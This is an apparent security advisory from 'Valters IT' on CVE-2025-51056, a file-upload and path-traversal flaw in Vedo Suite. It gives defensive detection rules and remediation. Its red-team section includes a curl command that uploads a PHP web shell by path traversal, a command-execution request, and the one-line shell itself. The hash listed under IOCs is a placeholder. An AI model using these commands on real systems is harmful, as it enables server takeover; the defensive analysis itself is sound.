CVE-2025-51056

Executive Summary

CVE-2025-51056 is a critical unrestricted file upload vulnerability discovered in Vedo Suite version 2024.17. The flaw resides in the insecure uploadPreviews() custom function within the /api_vedo/colorways_preview endpoint. Remote authenticated attackers can exploit this to write arbitrary files to any filesystem path, ultimately achieving remote code execution (RCE). The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential impact is severe.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom application vulnerability in Vedo Suite, a proprietary software solution. No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the description, the vulnerability would likely score high (8.0-9.0) due to:

• Attack Vector (AV): Network (N) – accessible via HTTP.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – requires authentication.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): High (H) – arbitrary file write can lead to data exfiltration.
• Integrity (I): High (H) – file upload can overwrite critical files.
• Availability (A): High (H) – RCE can disrupt service.

Threat Level: Critical (9.0) – due to RCE potential and unpatched status.

Deep Dive & Mechanics

The vulnerability is an unrestricted file upload in the uploadPreviews() function of the /api_vedo/colorways_preview endpoint. The function fails to validate the file type, size, or destination path, allowing authenticated users to upload arbitrary files (e.g., PHP, ASP, JSP) to any directory on the server. This can be exploited to upload a web shell, leading to remote code execution.

Root Cause: The uploadPreviews() function does not sanitize the path parameter or the file extension, enabling path traversal and arbitrary file write.

Attack Flow:

1. Authenticate to Vedo Suite (e.g., via default credentials or session hijacking).
2. Send a crafted HTTP POST request to /api_vedo/colorways_preview with a malicious file (e.g., shell.php) and a path parameter pointing to a web-accessible directory (e.g., ../../www/html/).
3. The file is written to the target path.
4. Access the uploaded file via the web server to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (Vedo Suite 2024.17):

# Simplified vulnerable function
def uploadPreviews(request):
    file = request.FILES['file']
    path = request.POST.get('path', '/tmp/')
    # No validation of file type or path
    with open(path + file.name, 'wb') as f:
        f.write(file.read())
    return JsonResponse({'status': 'success'})

Patched Code (Hypothetical fix):

import os
import mimetypes

ALLOWED_EXTENSIONS = {'.png', '.jpg', '.jpeg', '.gif'}
UPLOAD_BASE = '/var/www/uploads/'

def uploadPreviews(request):
    file = request.FILES['file']
    ext = os.path.splitext(file.name)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        return JsonResponse({'error': 'Invalid file type'}, status=400)
    # Sanitize path to prevent traversal
    safe_path = os.path.normpath(UPLOAD_BASE + file.name)
    if not safe_path.startswith(UPLOAD_BASE):
        return JsonResponse({'error': 'Invalid path'}, status=400)
    with open(safe_path, 'wb') as f:
        f.write(file.read())
    return JsonResponse({'status': 'success'})

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Vedo Suite 2024.17 instance (e.g., Docker container).
• Valid credentials (e.g., admin:admin).

Exploit Steps:

1. Authenticate and obtain session cookie.
2. Upload a web shell:

curl -X POST \
  -F "file=@shell.php" \
  -F "path=../../var/www/html/" \
  -b "session=valid_session_cookie" \
  http://target.com/api_vedo/colorways_preview

3. Access the shell:

curl http://target.com/shell.php?cmd=id

Example Web Shell (shell.php):

<?php system($_GET['cmd']); ?>

Blue Team (Defender)

Detection:

• Monitor for unusual file uploads to /api_vedo/colorways_preview.
• Alert on file extensions other than images (e.g., .php, .asp, .jsp).
• Check for path traversal patterns in the path parameter.

Mitigation:

• Implement strict file type validation (whitelist).
• Restrict upload paths to a dedicated directory.
• Apply principle of least privilege to the web server.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if found)
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Patterns:
  • POST requests to /api_vedo/colorways_preview with path parameter containing ../.
  • Outbound connections from the web server to unknown IPs (C2).
• File System:
  • Unexpected files in web-accessible directories (e.g., /var/www/html/shell.php).
  • Files with double extensions (e.g., image.php.png).

Detection Engineering

YARA Rule

rule CVE_2025_51056_Upload_Shell {
    meta:
        description = "Detects web shell upload attempts targeting Vedo Suite CVE-2025-51056"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-51056"
    strings:
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
        $path_traversal = "../"
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell) and $path_traversal
}

Sigma Rule

title: Vedo Suite Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-51056 via path traversal in file upload
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api_vedo/colorways_preview'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate file uploads with path traversal (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51056 Vedo Suite Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api_vedo/colorways_preview"; http_uri; content:"../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /api_vedo/colorways_preview endpoint if not required.
2. Implement strict input validation for file uploads (whitelist extensions, sanitize paths).
3. Apply web application firewall (WAF) rules to block path traversal patterns.

Long-term Fix:

• Vendor must release a patch that validates file types and restricts upload paths.
• Upgrade to a patched version once available.

Workaround:

• Use a reverse proxy to filter requests containing ../ in the path parameter.

Valters IT
Securing Digital Frontiers